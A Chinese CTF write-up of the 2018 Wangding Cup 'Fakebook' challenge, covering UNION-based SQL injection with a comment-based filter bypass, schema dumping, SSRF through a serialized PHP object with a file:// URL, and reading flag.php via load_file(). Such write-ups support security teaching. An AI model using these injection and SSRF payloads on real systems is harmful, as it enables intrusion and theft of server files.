[网鼎杯 2018]Fakebook
首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt,flag.php文件
robots.txt
flag.php
先注册一个账户,并且发现一个注入点
尝试sql注入
查字段
?no=1 order by 4# 正常回显
?no=1 order by 5# 页面异常
说明有四个字段
union语句查显位
?no=1 union select 1,2,3,4# no hack ~_~
?no=1 ununionion seselectlect database(); no
?no=1 uNion sElEct database(); no
?no=1 union/**/select 1,2,3,4# yes
?no=0 union/**/select 1,database(),3,4# yes
显位为2字段,掺杂了一些过滤,用/**/代替空格
正常爆破
爆库:?no=0 union/**/select 1,database(),3,4#
报表:?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=0 union/**/select 1,group_concat(data),3,4 from users #
发现并没有想要的flag在里面,得到一个序列化的字符串
又想到robots.txt中提到的.bak文件
user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容
还有一个isValidBlog验证这是否是一个有效的blog地址,get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。猜测可能flag.php处于内网,并且也得到了flag.php的路径。如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。
blog为4字段上
尝试ssrf
将得到的序列化后的UserInfo对象构造payload:
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
注入成功,查看源代码得到flag
load_file()函数解题
?no=0 union/**/select 1,user(),3,4--+ //数据库信息
发现是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
查看源代码得到flag